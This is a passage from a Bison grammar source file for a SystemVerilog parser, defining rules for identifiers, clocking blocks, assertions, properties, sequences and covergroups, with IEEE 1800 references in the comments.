// // IEEE: [ assignment_pattern_expression_type ] assignment_pattern_variable_lvalue
// // We allow more assignment_pattern_expression_types then strictly required
| data_type yP_TICKBRA variable_lvalueList '}' { $<fl>$=$<fl>1; $$ = $1+" "+$2+$3+$4; }
| idClassSel yP_TICKBRA variable_lvalueList '}' { $<fl>$=$<fl>1; $$ = $1+" "+$2+$3+$4; }
| /**/ yP_TICKBRA variable_lvalueList '}' { $<fl>$=$<fl>1; $$ = $1+$2+$3; }
| streaming_concatenation { $<fl>$=$<fl>1; $$ = $1; }
;
variable_lvalueConcList<str>: // IEEE: part of variable_lvalue: '{' variable_lvalue { ',' variable_lvalue } '}'
variable_lvalue { $<fl>$=$<fl>1; $$ = $1; }
| variable_lvalueConcList ',' variable_lvalue { $<fl>$=$<fl>1; $$ = $1+","+$3; }
;
variable_lvalueList<str>: // IEEE: part of variable_lvalue: variable_lvalue { ',' variable_lvalue }
variable_lvalue { $<fl>$=$<fl>1; $$ = $1; }
| variable_lvalueList ',' variable_lvalue { $<fl>$=$<fl>1; $$ = $1+","+$3; }
;
idClassSel<str>: // Misc Ref to dotted, and/or arrayed, and/or bit-ranged variable
idDotted { $<fl>$=$<fl>1; $$ = $1; }
// // IEEE: [ implicit_class_handle . | package_scope ] hierarchical_variable_identifier select
| yTHIS '.' idDotted { $<fl>$=$<fl>1; $$ = "this."+$3; }
| ySUPER '.' idDotted { $<fl>$=$<fl>1; $$ = "super."+$3; }
| yTHIS '.' ySUPER '.' idDotted { $<fl>$=$<fl>1; $$ = "this.super."+$3; }
// // Expanded: package_scope idDotted
| class_scopeIdFollows idDotted { $<fl>$=$<fl>1; $$ = $<str>1+$2; }
| package_scopeIdFollows idDotted { $<fl>$=$<fl>1; $$ = $<str>1+$2; }
;
idClassForeach<str>: // Misc Ref to dotted, and/or arrayed, no bit range for foreach statement
// // We can't just use the more general idClassSel
// // because ,'s are allowed in the []'s
idDottedForeach { $<fl>$=$<fl>1; $$ = $1; }
// // IEEE: [ implicit_class_handle . | package_scope ] hierarchical_variable_identifier select
| yTHIS '.' idDottedForeach { $<fl>$=$<fl>1; $$ = "this."+$3; }
| ySUPER '.' idDottedForeach { $<fl>$=$<fl>1; $$ = "super."+$3; }
| yTHIS '.' ySUPER '.' idDottedForeach { $<fl>$=$<fl>1; $$ = "this.super."+$3; }
// // Expanded: package_scope idDotted
| class_scopeIdFollows idDottedForeach { $<fl>$=$<fl>1; $$ = $<str>1+$2; }
| package_scopeIdFollows idDottedForeach { $<fl>$=$<fl>1; $$ = $<str>1+$2; }
;
hierarchical_identifierList: // IEEE: part of wait_statement
hierarchical_identifier { }
| hierarchical_identifierList ',' hierarchical_identifier { }
;
hierarchical_identifierBit: // IEEE: "hierarchical_identifier bit_select"
// // Not in grammar but "this." believed legal here
idClassSel { }
;
hierarchical_identifier<str>: // IEEE: hierarchical_identifier, including extra bit_select
// // +hierarchical_parameter_identifier
// // Not in grammar but "this." believed legal here
idClassSel { $<fl>$=$<fl>1; $$ = $1; }
;
idDotted<str>:
yD_ROOT '.' idDottedMore { $<fl>$=$<fl>1; $$ = $1+"."+$3; }
| idDottedMore { $<fl>$=$<fl>1; $$ = $1; }
;
idDottedForeach<str>:
yD_ROOT '.' idDottedForeachMore { $<fl>$=$<fl>1; $$ = $1+"."+$3; }
| idDottedForeachMore { $<fl>$=$<fl>1; $$ = $1; }
;
idDottedMore<str>:
idArrayed { $<fl>$=$<fl>1; $$ = $1; }
| idDottedMore '.' idArrayed { $<fl>$=$<fl>1; $$ = $1+"."+$3; }
;
idDottedForeachMore<str>:
idForeach { $<fl>$=$<fl>1; $$ = $1; }
| idDottedForeachMore '.' idForeach { $<fl>$=$<fl>1; $$ = $1+"."+$3; }
;
// Single component of dotted path, maybe [#].
// Due to lookahead constraints, we can't know if [:] or [+:] are valid (last dotted part),
// we'll assume so and cleanup later.
// id below includes:
// enum_identifier
idArrayed<str>: // IEEE: id + select
id { $<fl>$=$<fl>1; $$ = $1; PORTNET($<fl>1, $1);}
// // IEEE: part_select_range/constant_part_select_range
| idArrayed '[' expr ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+"]"; PORTRANGE($3, $3);}
| idArrayed '[' constExpr ':' constExpr ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+":"+$5+"]"; PORTRANGE($3, $5);}
// // IEEE: indexed_range/constant_indexed_range
| idArrayed '[' expr yP_PLUSCOLON constExpr ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+"+:"+$5+"]"; }
| idArrayed '[' expr yP_MINUSCOLON constExpr ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+"-:"+$5+"]"; }
;
idForeach<str>: // IEEE: id + select + [loop_variables]
// // Merge of foreach and idArrayed to prevent conflict
id { $<fl>$=$<fl>1; $$ = $1; }
// // IEEE: part_select_range/constant_part_select_range
| idForeach '[' expr ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+"]"; }
| idForeach '[' constExpr ':' constExpr ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+":"+$5+"]"; }
// // IEEE: indexed_range/constant_indexed_range
| idForeach '[' expr yP_PLUSCOLON constExpr ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+"+:"+$5+"]"; }
| idForeach '[' expr yP_MINUSCOLON constExpr ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+"-:"+$5+"]"; }
// // IEEE: part of foreach: [ loop_variables ]
| idForeach '[' expr ',' loop_variables ']' { $<fl>$=$<fl>1; $$ = $1+"["+$3+","+$5+"]"; }
;
strAsInt<str>:
yaSTRING { $<fl>$=$<fl>1; $$ = $1; }
;
endLabelE:
/* empty */ { }
| ':' idAny { }
| ':' yNEW__ETC { }
;
//************************************************
// Clocking
clocking_declaration: // IEEE: clocking_declaration
clockingFront clocking_event ';'
clocking_itemListE yENDCLOCKING endLabelE { PARSEP->symPopScope(VAstType::CLOCKING); }
// // global clocking below - we allow item list, though not in grammar
;
clockingFront: // IEEE: part of class_declaration
yCLOCKING { PARSEP->symPushNewAnon(VAstType::CLOCKING); }
| yCLOCKING idAny/*clocking_identifier*/ { PARSEP->symPushNew(VAstType::CLOCKING,$2); }
| yDEFAULT yCLOCKING { PARSEP->symPushNewAnon(VAstType::CLOCKING); }
| yDEFAULT yCLOCKING idAny/*clocking_identifier*/ { PARSEP->symPushNew(VAstType::CLOCKING,$3); }
| yGLOBAL__CLOCKING yCLOCKING { PARSEP->symPushNewAnon(VAstType::CLOCKING); }
| yGLOBAL__CLOCKING yCLOCKING idAny/*clocking_identifier*/ { PARSEP->symPushNew(VAstType::CLOCKING,$3); }
;
clocking_event: // ==IEEE: clocking_event
'@' id { }
| '@' '(' event_expression ')' { }
;
clocking_itemListE:
/* empty */ { }
| clocking_itemList { }
;
clocking_itemList: // IEEE: [ clocking_item ]
clocking_item { }
| clocking_itemList clocking_item { }
;
clocking_item: // ==IEEE: clocking_item
yDEFAULT default_skew ';' { }
| clocking_direction list_of_clocking_decl_assign ';' { }
| assertion_item_declaration { }
;
default_skew: // ==IEEE: default_skew
yINPUT clocking_skew { }
| yOUTPUT clocking_skew { }
| yINPUT clocking_skew yOUTPUT clocking_skew { }
;
clocking_direction: // ==IEEE: clocking_direction
yINPUT clocking_skewE { }
| yOUTPUT clocking_skewE { }
| yINPUT clocking_skewE yOUTPUT clocking_skewE { }
| yINOUT { }
;
list_of_clocking_decl_assign: // ==IEEE: list_of_clocking_decl_assign
clocking_decl_assign { }
| list_of_clocking_decl_assign ',' clocking_decl_assign { }
;
clocking_decl_assign: // ==IEEE: clocking_decl_assign
idAny/*new-signal_identifier*/ { }
| idAny/*new-signal_identifier*/ '=' expr { }
;
clocking_skewE: // IEEE: [clocking_skew]
/* empty */ { }
| clocking_skew { }
;
clocking_skew: // ==IEEE: clocking_skew
yPOSEDGE { }
| yPOSEDGE delay_control { }
| yNEGEDGE { }
| yNEGEDGE delay_control { }
| yEDGE { NEED_S09($<fl>1,"edge"); }
| yEDGE delay_control { NEED_S09($<fl>1,"edge"); }
| delay_control { }
;
cycle_delay: // ==IEEE: cycle_delay
yP_POUNDPOUND yaINTNUM { }
| yP_POUNDPOUND id { }
| yP_POUNDPOUND '(' expr ')' { }
;
//************************************************
// Asserts
assertion_item_declaration: // ==IEEE: assertion_item_declaration
property_declaration { }
| sequence_declaration { }
| let_declaration { }
;
assertion_item: // ==IEEE: assertion_item
concurrent_assertion_item { }
| deferred_immediate_assertion_item { }
;
deferred_immediate_assertion_item: // ==IEEE: deferred_immediate_assertion_item
deferred_immediate_assertion_statement { }
| id/*block_identifier*/ ':' deferred_immediate_assertion_statement { }
;
procedural_assertion_statement: // ==IEEE: procedural_assertion_statement
concurrent_assertion_statement { }
| immediate_assertion_statement { }
// // IEEE: checker_instantiation
// // Unlike modules, checkers are the only "id id (...)" form in statements.
| checker_instantiation { }
;
immediate_assertion_statement: // ==IEEE: immediate_assertion_statement
simple_immediate_assertion_statement { }
| deferred_immediate_assertion_statement { }
;
simple_immediate_assertion_statement: // ==IEEE: simple_immediate_assertion_statement
// // IEEE: simple_immediate_assert_statement
yASSERT '(' expr ')' action_block { }
// // IEEE: simple_immediate_assume_statement
| yASSUME '(' expr ')' action_block { }
// // IEEE: simple_immediate_cover_statement
| yCOVER '(' expr ')' stmt { }
;
final_zero: // IEEE: part of deferred_immediate_assertion_statement
'#' yaINTNUM { } // yaINTNUM is always a '0'
// // 1800-2012:
| yFINAL { }
;
deferred_immediate_assertion_statement<nodep>: // ==IEEE: deferred_immediate_assertion_statement
// // IEEE: deferred_immediate_assert_statement
yASSERT final_zero '(' expr ')' action_block { }
// // IEEE: deferred_immediate_assume_statement
| yASSUME final_zero '(' expr ')' action_block { }
// // IEEE: deferred_immediate_cover_statement
| yCOVER final_zero '(' expr ')' stmt { }
;
expect_property_statement: // ==IEEE: expect_property_statement
yEXPECT '(' property_spec ')' action_block { }
;
concurrent_assertion_item: // IEEE: concurrent_assertion_item
concurrent_assertion_statement { }
| id/*block_identifier*/ ':' concurrent_assertion_statement { }
// // IEEE: checker_instantiation
// // identical to module_instantiation; see etcInst
;
concurrent_assertion_statement: // ==IEEE: concurrent_assertion_statement
// // IEEE: assert_property_statement
yASSERT yPROPERTY '(' property_spec ')' action_block { }
// // IEEE: assume_property_statement
| yASSUME yPROPERTY '(' property_spec ')' action_block { }
// // IEEE: cover_property_statement
| yCOVER yPROPERTY '(' property_spec ')' stmtBlock { }
// // IEEE: cover_sequence_statement
| yCOVER ySEQUENCE '(' sexpr ')' stmt { }
// // IEEE: yCOVER ySEQUENCE '(' clocking_event sexpr ')' stmt
// // sexpr already includes "clocking_event sexpr"
| yCOVER ySEQUENCE '(' clocking_event yDISABLE yIFF '(' expr/*expression_or_dist*/ ')' sexpr ')' stmt { }
| yCOVER ySEQUENCE '(' yDISABLE yIFF '(' expr/*expression_or_dist*/ ')' sexpr ')' stmt { }
// // IEEE: restrict_property_statement
| yRESTRICT yPROPERTY '(' property_spec ')' ';' { }
;
property_declaration: // ==IEEE: property_declaration
property_declarationFront property_port_listE ';' property_declarationBody
yENDPROPERTY endLabelE
{ PARSEP->symPopScope(VAstType::PROPERTY); }
;
property_declarationFront: // IEEE: part of property_declaration
yPROPERTY idAny/*property_identifier*/
{ PARSEP->symPushNew(VAstType::PROPERTY,$2); }
;
property_port_listE: // IEEE: [ ( [ property_port_list ] ) ]
/* empty */ { }
| '(' {VARRESET_LIST(""); VARIO("input"); } property_port_list ')'
{ VARRESET_NONLIST(""); }
;
property_port_list: // ==IEEE: property_port_list
property_port_item { }
| property_port_list ',' property_port_item { }
;
property_port_item: // IEEE: property_port_item/sequence_port_item
// // Merged in sequence_port_item
// // IEEE: property_lvar_port_direction ::= yINPUT
// // prop IEEE: [ yLOCAL [ yINPUT ] ] property_formal_type
// // id {variable_dimension} [ '=' property_actual_arg ]
// // seq IEEE: [ yLOCAL [ sequence_lvar_port_direction ] ] sequence_formal_type
// // id {variable_dimension} [ '=' sequence_actual_arg ]
property_port_itemFront property_port_itemAssignment { }
;
property_port_itemFront: // IEEE: part of property_port_item/sequence_port_item
//
property_port_itemDirE property_formal_typeNoDt { VARDTYPE($2); }
// // data_type_or_implicit
| property_port_itemDirE data_type { VARDTYPE($2); }
| property_port_itemDirE yVAR data_type { VARDTYPE($3); }
| property_port_itemDirE yVAR implicit_typeE { VARDTYPE($3); }
| property_port_itemDirE signingE rangeList { VARDTYPE(SPACED($2,$3)); }
| property_port_itemDirE /*implicit*/ { /*VARDTYPE-same*/ }
;
property_port_itemAssignment: // IEEE: part of property_port_item/sequence_port_item/checker_port_direction
portSig variable_dimensionListE { VARDONE($<fl>1, $1, $2, ""); PINNUMINC(); }
| portSig variable_dimensionListE '=' property_actual_arg
{ VARDONE($<fl>1, $1, $2, $4); PINNUMINC(); }
;
property_port_itemDirE:
/* empty */ { }
| yLOCAL__ETC { }
| yLOCAL__ETC port_direction { }
;
property_declarationBody: // IEEE: part of property_declaration
assertion_variable_declarationList property_statement_spec { }
// // IEEE-2012: Incorectly hasyCOVER ySEQUENCE then property_spec here.
// // Fixed in IEEE 1800-2017
| property_statement_spec { }
;
assertion_variable_declarationList: // IEEE: part of assertion_variable_declaration
assertion_variable_declaration { }
| assertion_variable_declarationList assertion_variable_declaration { }
;
sequence_declaration: // ==IEEE: sequence_declaration
sequence_declarationFront sequence_port_listE ';' sequence_declarationBody
yENDSEQUENCE endLabelE
{ PARSEP->symPopScope(VAstType::SEQUENCE); }
;
sequence_declarationFront: // IEEE: part of sequence_declaration
ySEQUENCE idAny/*new_sequence*/
{ PARSEP->symPushNew(VAstType::SEQUENCE,$2); }
;
sequence_port_listE: // IEEE: [ ( [ sequence_port_list ] ) ]
// // IEEE: sequence_lvar_port_direction ::= yINPUT | yINOUT | yOUTPUT
// // IEEE: [ yLOCAL [ sequence_lvar_port_direction ] ] sequence_formal_type
// // id {variable_dimension} [ '=' sequence_actual_arg ]
// // All this is almost identically the same as a property.
// // Difference is only yINOUT/yOUTPUT (which might be added to 1800-2012)
// // and yPROPERTY. So save some work.
property_port_listE { }
;
property_formal_typeNoDt<str>: // IEEE: property_formal_type (w/o implicit)
sequence_formal_typeNoDt { $$ = $1; }
| yPROPERTY { $$ = "property"; }
;
sequence_formal_typeNoDt<str>: // ==IEEE: sequence_formal_type (w/o data_type_or_implicit)
// // IEEE: data_type_or_implicit
// // implicit expanded where used
ySEQUENCE { $$ = "sequence"; }
// // IEEE-2009: yEVENT
// // already part of data_type. Removed in 1800-2012.
| yUNTYPED { $$ = "untyped"; }
;
sequence_declarationBody: // IEEE: part of sequence_declaration
// // 1800-2012 makes ';' optional
assertion_variable_declarationList sexpr { }
| assertion_variable_declarationList sexpr ';' { }
| sexpr { }
| sexpr ';' { }
;
property_spec: // IEEE: property_spec
// // IEEE: [clocking_event ] [ yDISABLE yIFF '(' expression_or_dist ')' ] property_expr
// // matches property_spec: "clocking_event property_expr" so we put it there
yDISABLE yIFF '(' expr ')' pexpr { }
| pexpr { }
;
property_statement_spec: // ==IEEE: property_statement_spec
// // IEEE: [ clocking_event ] [ yDISABLE yIFF '(' expression_or_dist ')' ] property_statement
property_statement { }
| yDISABLE yIFF '(' expr/*expression_or_dist*/ ')' property_statement { }
// // IEEE: clocking_event property_statement
// // IEEE: clocking_event yDISABLE yIFF '(' expr/*expression_or_dist*/ ')' property_statement
// // Both overlap pexpr:"clocking_event pexpr" the difference is
// // property_statement:property_statementCaseIf so replicate it
| clocking_event property_statementCaseIf { }
| clocking_event yDISABLE yIFF '(' expr/*expression_or_dist*/ ')' property_statementCaseIf { }
;
property_statement: // ==IEEE: property_statement
// // Doesn't make sense to have "pexpr ;" in pexpr rule itself, so we split out case/if
pexpr ';' { }
// // Note this term replicated in property_statement_spec
// // If committee adds terms, they may need to be there too.
| property_statementCaseIf { }
;
property_statementCaseIf: // IEEE: property_statement - minus pexpr
yCASE '(' expr/*expression_or_dist*/ ')' property_case_itemList yENDCASE { }
| yCASE '(' expr/*expression_or_dist*/ ')' yENDCASE { }
| yIF '(' expr/*expression_or_dist*/ ')' pexpr %prec prLOWER_THAN_ELSE { }
| yIF '(' expr/*expression_or_dist*/ ')' pexpr yELSE pexpr { }
;
property_case_itemList: // IEEE: {property_case_item}
property_case_item { }
| property_case_itemList ',' property_case_item { }
;
property_case_item: // ==IEEE: property_case_item
// // IEEE: expression_or_dist { ',' expression_or_dist } ':' property_statement
// // IEEE 1800-2012 changed from property_statement to property_expr
// // IEEE 1800-2017 changed to require the semicolon
caseCondList ':' pexpr { }
| caseCondList ':' pexpr ';' { }
| yDEFAULT pexpr { }
| yDEFAULT ':' pexpr ';' { }
;
pev_expr<str>: // IEEE: property_actual_arg | expr
// // which expands to pexpr | event_expression
// // Used in port and function calls, when we can't know yet if something
// // is a function/sequence/property or instance/checker pin.
//
// // '(' pev_expr ')'
// // Already in pexpr
// // IEEE: event_expression ',' event_expression
// // ','s are legal in event_expressions, but parens required to avoid conflict with port-sep-,
// // IEEE: event_expression yOR event_expression
// // Already in pexpr - needs removal there
// // IEEE: event_expression yIFF expr
// // Already in pexpr - needs removal there
//
senitemEdge { $$=$1; }
//
//============= pexpr rules copied for pev_expr
| BISONPRE_COPY_ONCE(pexpr,{s/~o~p/pev_/g; }) // {copied}
//
//============= sexpr rules copied for pev_expr
| BISONPRE_COPY_ONCE(sexpr,{s/~p~s/pev_/g; }) // {copied}
//
//============= expr rules copied for pev_expr
| BISONPRE_COPY_ONCE(expr,{s/~l~/pev_/g; s/~p~/pev_/g; s/~noPar__IGNORE~/yP_PAR__IGNORE /g; }) // {copied}
;
pexpr<str>: // IEEE: property_expr (The name pexpr is important as regexps just add an "p" to expr.)
//
// // IEEE: sequence_expr
// // Expanded below
//
// // IEEE: '(' pexpr ')'
// // Expanded below
//
yNOT pexpr %prec prNEGATION { }
| ySTRONG '(' sexpr ')' { }
| yWEAK '(' sexpr ')' { }
// // IEEE: pexpr yOR pexpr
// // IEEE: pexpr yAND pexpr
// // Under ~p~sexpr and/or ~p~sexpr
//
// // IEEE: "sequence_expr yP_ORMINUSGT pexpr"
// // Instead we use pexpr to prevent conflicts
| ~o~pexpr yP_ORMINUSGT pexpr { }
| ~o~pexpr yP_OREQGT pexpr { }
//
// // IEEE-2009: property_statement
// // IEEE-2012: yIF and yCASE
| property_statementCaseIf { }
//
| ~o~pexpr/*sexpr*/ yP_POUNDMINUSPD pexpr { }
| ~o~pexpr/*sexpr*/ yP_POUNDEQPD pexpr { }
| yNEXTTIME pexpr { }
| yS_NEXTTIME pexpr { }
| yNEXTTIME '[' expr/*const*/ ']' pexpr %prec yNEXTTIME { }
| yS_NEXTTIME '[' expr/*const*/ ']' pexpr %prec yS_NEXTTIME { }
| yALWAYS pexpr { }
| yALWAYS '[' cycle_delay_const_range_expression ']' pexpr %prec yALWAYS { }
| yS_ALWAYS '[' constant_range ']' pexpr %prec yS_ALWAYS { }
| yS_EVENTUALLY pexpr { }
| yEVENTUALLY '[' constant_range ']' pexpr %prec yEVENTUALLY { }
| yS_EVENTUALLY '[' cycle_delay_const_range_expression ']' pexpr %prec yS_EVENTUALLY { }
| ~o~pexpr yUNTIL pexpr { }
| ~o~pexpr yS_UNTIL pexpr { }
| ~o~pexpr yUNTIL_WITH pexpr { }
| ~o~pexpr yS_UNTIL_WITH pexpr { }
| ~o~pexpr yIMPLIES pexpr { }
// // yIFF also used by event_expression
| ~o~pexpr yIFF ~o~pexpr { }
| yACCEPT_ON '(' expr/*expression_or_dist*/ ')' pexpr %prec yACCEPT_ON { }
| yREJECT_ON '(' expr/*expression_or_dist*/ ')' pexpr %prec yREJECT_ON { }
| ySYNC_ACCEPT_ON '(' expr/*expression_or_dist*/ ')' pexpr %prec ySYNC_ACCEPT_ON { }
| ySYNC_REJECT_ON '(' expr/*expression_or_dist*/ ')' pexpr %prec ySYNC_REJECT_ON { }
//
// // IEEE: "property_instance"
// // Looks just like a function/method call
//
// // Note "clocking_event pexpr" overlaps property_statement_spec: clocking_event property_statement
//
// // Include property_specDisable to match property_spec rule
| clocking_event yDISABLE yIFF '(' expr ')' pexpr %prec prSEQ_CLOCKING { }
//
//============= sexpr rules copied for property_expr
| BISONPRE_COPY_ONCE(sexpr,{s/~p~s/p/g; }) // {copied}
//
//============= expr rules copied for property_expr
| BISONPRE_COPY_ONCE(expr,{s/~l~/p/g; s/~p~/p/g; s/~noPar__IGNORE~/yP_PAR__IGNORE /g; }) // {copied}
;
sexpr<str>: // ==IEEE: sequence_expr (The name sexpr is important as regexps just add an "s" to expr.)
// // ********* RULES COPIED IN sequence_exprProp
// // For precedence, see IEEE 17.7.1
//
// // IEEE: "cycle_delay_range sequence_expr { cycle_delay_range sequence_expr }"
// // IEEE: "sequence_expr cycle_delay_range sequence_expr { cycle_delay_range sequence_expr }"
// // Both rules basically mean we can repeat sequences, so make it simpler:
cycle_delay_range sexpr %prec yP_POUNDPOUND { }
| ~p~sexpr cycle_delay_range sexpr %prec prPOUNDPOUND_MULTI { }
//
// // IEEE: expression_or_dist [ boolean_abbrev ]
// // Note expression_or_dist includes "expr"!
// // sexpr/*sexpression_or_dist*/ --- Hardcoded below
| ~p~sexpr/*sexpression_or_dist*/ boolean_abbrev { }
//
// // IEEE: "sequence_instance [ sequence_abbrev ]"
// // version without sequence_abbrev looks just like normal function call
// // version w/sequence_abbrev matches above; expression_or_dist:expr:func boolean_abbrev:sequence_abbrev
//
// // IEEE: '(' expression_or_dist {',' sequence_match_item } ')' [ boolean_abbrev ]
// // IEEE: '(' sexpr {',' sequence_match_item } ')' [ sequence_abbrev ]
// // As sequence_expr includes expression_or_dist, and boolean_abbrev includes sequence_abbrev:
// // '(' sequence_expr {',' sequence_match_item } ')' [ boolean_abbrev ]
// // "'(' sexpr ')' boolean_abbrev" matches "[sexpr:'(' expr ')'] boolean_abbrev" so we can simply drop it
| '(' ~p~sexpr ')' { $<fl>$=$<fl>1; $$=$1+$2+$3; }
| '(' ~p~sexpr ',' sequence_match_itemList ')' { }
//
// // AND/OR are between pexprs OR sexprs
| ~p~sexpr yAND ~p~sexpr { $<fl>$=$<fl>1; $$=$1+$2+$3; }
| ~p~sexpr yOR ~p~sexpr { $<fl>$=$<fl>1; $$=$1+$2+$3; }
// // Intersect always has an sexpr rhs
| ~p~sexpr yINTERSECT sexpr { $<fl>$=$<fl>1; $$=$1+$2+$3; }
//
| yFIRST_MATCH '(' sexpr ')' { }
| yFIRST_MATCH '(' sexpr ',' sequence_match_itemList ')' { }
| ~p~sexpr/*sexpression_or_dist*/ yTHROUGHOUT sexpr { }
// // Below pexpr's are really sequence_expr, but avoid conflict
// // IEEE: sexpr yWITHIN sexpr
| ~p~sexpr yWITHIN sexpr { $<fl>$=$<fl>1; $$=$1+$2+$3; }
// // Note concurrent_assertion had duplicate rule for below
| clocking_event ~p~sexpr %prec prSEQ_CLOCKING { }
//
//============= expr rules copied for sequence_expr
| BISONPRE_COPY_ONCE(expr,{s/~l~/s/g; s/~p~/s/g; s/~noPar__IGNORE~/yP_PAR__IGNORE /g; }) // {copied}
;
cycle_delay_range: // IEEE: ==cycle_delay_range
// // These three terms in 1800-2005 ONLY
yP_POUNDPOUND yaINTNUM { }
| yP_POUNDPOUND id { }
| yP_POUNDPOUND '(' constExpr ')' { }
// // In 1800-2009 ONLY:
// // IEEE: yP_POUNDPOUND constant_primary
// // UNSUP: This causes a big grammer ambiguity
// // as ()'s mismatch between primary and the following statement
// // the sv-ac committee has been asked to clarify (Mantis 1901)
| yP_POUNDPOUND '[' cycle_delay_const_range_expression ']' { }
| yP_POUNDPOUND yP_BRASTAR ']' { }
| yP_POUNDPOUND yP_BRAPLUSKET { }
;
sequence_match_itemList: // IEEE: [sequence_match_item] part of sequence_expr
sequence_match_item { }
| sequence_match_itemList ',' sequence_match_item { }
;
sequence_match_item: // ==IEEE: sequence_match_item
// // IEEE says: operator_assignment
// // IEEE says: inc_or_dec_expression
// // IEEE says: subroutine_call
// // This is the same list as...
for_step_assignment { }
;
boolean_abbrev: // ==IEEE: boolean_abbrev
// // IEEE: consecutive_repetition
yP_BRASTAR const_or_range_expression ']' { }
| yP_BRASTAR ']' { }
| yP_BRAPLUSKET { }
// // IEEE: non_consecutive_repetition
| yP_BRAEQ const_or_range_expression ']' { }
// // IEEE: goto_repetition
| yP_BRAMINUSGT const_or_range_expression ']' { }
;
const_or_range_expression: // ==IEEE: const_or_range_expression
constExpr { }
| cycle_delay_const_range_expression { }
;
constant_range: // ==IEEE: constant_range
constExpr ':' constExpr { }
;
cycle_delay_const_range_expression: // ==IEEE: cycle_delay_const_range_expression
// // Note '$' is part of constExpr
constExpr ':' constExpr { }
;
//************************************************
// Let
let_declaration: // ==IEEE: let_declaration
let_declarationFront let_port_listE '=' expr ';'
{ PARSEP->symPopScope(VAstType::LET); }
;
let_declarationFront: // IEEE: part of let_declaration
yLET idAny/*let_identifier*/
{ PARSEP->symPushNew(VAstType::LET,$2); }
;
let_port_listE: // ==IEEE: let_port_list
/* empty */
// // IEEE: let_port_list
// // No significant difference from task ports
| '(' tf_port_listE ')'
{ VARRESET_NONLIST(""); }
;
//************************************************
// Covergroup
covergroup_declaration: // ==IEEE: covergroup_declaration
covergroup_declarationFront coverage_eventE ';' coverage_spec_or_optionListE
yENDGROUP endLabelE
{ PARSEP->endgroupCb($<fl>5,$5);
PARSEP->symPopScope(VAstType::COVERGROUP); }
| covergroup_declarationFront '(' tf_port_listE ')' coverage_eventE ';' coverage_spec_or_optionListE
yENDGROUP endLabelE
{ PARSEP->endgroupCb($<fl>8,$8);
PARSEP->symPopScope(VAstType::COVERGROUP); }
;
covergroup_declarationFront: // IEEE: part of covergroup_declaration
yCOVERGROUP idAny
{ PARSEP->symPushNew(VAstType::COVERGROUP,$2);
PARSEP->covergroupCb($<fl>1,$1,$2); }
;
cgexpr<str>: // IEEE-2012: covergroup_expression, before that just expression
expr { $<fl>$=$<fl>1; $$ = $1; }
;
coverage_spec_or_optionListE: // IEEE: [{coverage_spec_or_option}]
/* empty */ { }
| coverage_spec_or_optionList { }
;
coverage_spec_or_optionList: // IEEE: {coverage_spec_or_option}
coverage_spec_or_option { }
| coverage_spec_or_optionList coverage_spec_or_option { }
;
coverage_spec_or_option: // ==IEEE: coverage_spec_or_option
// // IEEE: coverage_spec
cover_point { }
| cover_cross { }
| coverage_option ';' { }
| error { }
;
coverage_option: // ==IEEE: coverage_option
// // option/type_option aren't really keywords
id/*yOPTION | yTYPE_OPTION*/ '.' idAny/*member_identifier*/ '=' expr { }
;
cover_point: // ==IEEE: cover_point
/**/ yCOVERPOINT expr iffE bins_or_empty { }
// // IEEE-2012: class_scope before an ID
| /**/ /**/ /**/ id ':' yCOVERPOINT expr iffE bins_or_empty { }
| class_scope_id ':' yCOVERPOINT expr iffE bins_or_empty { }
| class_scope_id id data_type id ':' yCOVERPOINT expr iffE bins_or_empty { }
| class_scope_id id /**/ id ':' yCOVERPOINT expr iffE bins_or_empty { }
| /**/ id /**/ id ':' yCOVERPOINT expr iffE bins_or_empty { }
// // IEEE-2012:
| bins_or_empty { }
;
iffE: // IEEE: part of cover_point, others
/* empty */ { }
| yIFF '(' expr ')' { }
;
bins_or_empty: // ==IEEE: bins_or_empty
'{' bins_or_optionsList '}' { }
| '{' '}' { }
| ';' { }
;
bins_or_optionsList: // IEEE: { bins_or_options ';' }
bins_or_options ';' { }
| bins_or_optionsList bins_or_options ';' { }
;
bins_or_options: // ==IEEE: bins_or_options
// // Superset of IEEE - we allow []'s in more places
coverage_option { }
// // Can't use wildcardE as results in conflicts
| /**/ bins_keyword id/*bin_identifier*/ bins_orBraE '=' '{' open_range_list '}' iffE { }
| yWILDCARD bins_keyword id/*bin_identifier*/ bins_orBraE '=' '{' open_range_list '}' iffE { }
| /**/ bins_keyword id/*bin_identifier*/ bins_orBraE '=' '{' open_range_list '}' yWITH__CUR '{' cgexpr ')' iffE { }
| yWILDCARD bins_keyword id/*bin_identifier*/ bins_orBraE '=' '{' open_range_list '}' yWITH__CUR '{' cgexpr ')' iffE { }
//
// // cgexpr part of trans_list
//
| /**/ bins_keyword id/*bin_identifier*/ bins_orBraE '=' trans_list iffE { }
| yWILDCARD bins_keyword id/*bin_identifier*/ bins_orBraE '=' trans_list iffE { }
//
| bins_keyword id/*bin_identifier*/ bins_orBraE '=' yDEFAULT iffE { }
//
| bins_keyword id/*bin_identifier*/ bins_orBraE '=' yDEFAULT ySEQUENCE iffE { }
;
bins_orBraE: // IEEE: part of bins_or_options:
/* empty */ { }
| '[' ']' { }
| '[' cgexpr ']' { }
;
bins_keyword: // ==IEEE: bins_keyword
yBINS { }
| yILLEGAL_BINS { }
| yIGNORE_BINS { }
;
covergroup_range_list: // ==IEEE: covergroup_range_list
covergroup_value_range { }
| covergroup_range_list ',' covergroup_value_range { }
;
trans_list: // ==IEEE: trans_list
'(' trans_set ')' { }
| trans_list ',' '(' trans_set ')' { }
;
trans_set: // ==IEEE: trans_set
trans_range_list { }
// // Note the { => } in the grammer, this is really a list
| trans_set yP_EQGT trans_range_list { }
;
trans_range_list: // ==IEEE: trans_range_list
trans_item { }
| trans_item yP_BRASTAR repeat_range ']' { }
| trans_item yP_BRAMINUSGT repeat_range ']' { }
| trans_item yP_BRAEQ repeat_range ']' { }
;
trans_item: // ==IEEE: range_list
covergroup_range_list { }
;
repeat_range: // ==IEEE: repeat_range
cgexpr { }
| cgexpr ':' cgexpr { }
;
cover_cross: // ==IEEE: cover_cross
id/*cover_point_identifier*/ ':' yCROSS list_of_cross_items iffE cross_body { }
| /**/ yCROSS list_of_cross_items iffE cross_body { }
;
list_of_cross_items: // ==IEEE: list_of_cross_items
cross_item ',' cross_item { }
